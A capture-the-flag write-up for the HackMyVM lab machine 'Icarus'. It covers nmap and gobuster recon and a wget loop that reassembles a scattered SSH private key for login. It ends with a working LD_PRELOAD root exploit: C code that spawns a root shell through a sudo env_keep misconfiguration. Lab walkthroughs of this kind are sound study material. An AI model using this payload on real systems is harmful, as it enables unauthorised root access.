HackMyVM - Icarus
Icarus is a medium difficulty VM by "sml" that I blundered my way through somehow...
Quite a nice VM and made me think!
Find it
└─$ sudo netdiscover -r 10.0.0.0/24 -P
[sudo] password for kali:
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
10.0.0.1 08:00:27:95:67:5b 1 60 PCS Systemtechnik GmbH
10.0.0.111 08:00:27:6d:e2:b6 1 60 PCS Systemtechnik GmbH
-- Active scan completed, 2 Hosts found.
Scan it
nmap
# Nmap 7.91 scan initiated Wed Dec 29 12:56:30 2021 as: nmap -T4 -p- -sC -sV -oN nmap.out 10.0.0.111
Nmap scan report for 10.0.0.111
Host is up (0.0012s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 b6:65:56:40:8d:a8:57:b9:15:1e:0e:1f:a5:d0:52:3a (RSA)
| 256 79:65:cb:2a:06:82:13:d3:76:6b:1c:55:cd:8f:07:b7 (ECDSA)
|_ 256 b1:34:e5:21:a0:28:30:c0:6c:01:0e:b0:7b:8f:b8:c6 (ED25519)
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: LOGIN
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
gobuster
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r -u http://10.0.0.111/ -x html,php,txt -t 150
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.0.0.111/
[+] Method: GET
[+] Threads: 150
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: html,php,txt
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
2021/12/30 06:35:12 Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 407]
/xml (Status: 200) [Size: 1]
/login.php (Status: 200) [Size: 407]
/a (Status: 200) [Size: 9641]
/xxx (Status: 200) [Size: 1]
/check.php (Status: 200) [Size: 21]
/xsl (Status: 200) [Size: 1]
/xbl (Status: 200) [Size: 1]
/xap (Status: 200) [Size: 1]
/xav (Status: 200) [Size: 1]
/xss (Status: 200) [Size: 1]
... <lots of other files begining x*>
User
the file "a" was largest so a reasonable place to start.
wget http://10.0.0.111/a
this appears to be a list of all the files so lets just download them all and see if anything turns up
mkdir xfiles
cat fetch.sh
while IFS="" read -r p || [ -n "$p" ]
do
printf '%s\n' "$p"
wget wget --directory-prefix=xfiles/ http://10.0.0.111/$p
printf "$P"
done < a
this downloads them all, now see if there is anything useful in any of them...
cd xfiles
cat x*
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEA5xagxLiN5ObhPjNcs2I2ckcYrErKaunOwm40kTBnJ6vrbdRYHteS
afNWC6xFFzwO77+Kze229eK4ddZcwmU0IdN02Y8nYrxhl8lOc+e5T0Ajz+tRmLGoxJVPsS
TzKBERlWpKuJoGO/CEFLOv6PP6s79YYzZFpdUjaczY96jgICftzNZS+VkBXuLjKr79h4Tw....
out of chaos there comes an order.... the files are only 1 char long but put together the build an ssh key.
The username was a little more fund but I eventually found it was icarus (yes that took me a while to try the name of the server!)
so copy & paste the revealed private key to icarus.key
chmod 600 icarus.key
ssh icarus@10.0.0.111 -i icarus.key
Escalate to root
icarus@icarus:~$ sudo -l
Matching Defaults entries for icarus on icarus:
env_reset, mail_badpass, env_keep+=LD_PRELOAD,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User icarus may run the following commands on icarus:
(ALL : ALL) NOPASSWD: /usr/bin/id
icarus@icarus:~$
listing sudo rights, "id" is a bit useless we tweak the environment preload!
create a file shell.c in /tmp
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
ls -al shell.so
sudo LD_PRELOAD=/tmp/shell.so id
And its rooted.
Comments
Post a Comment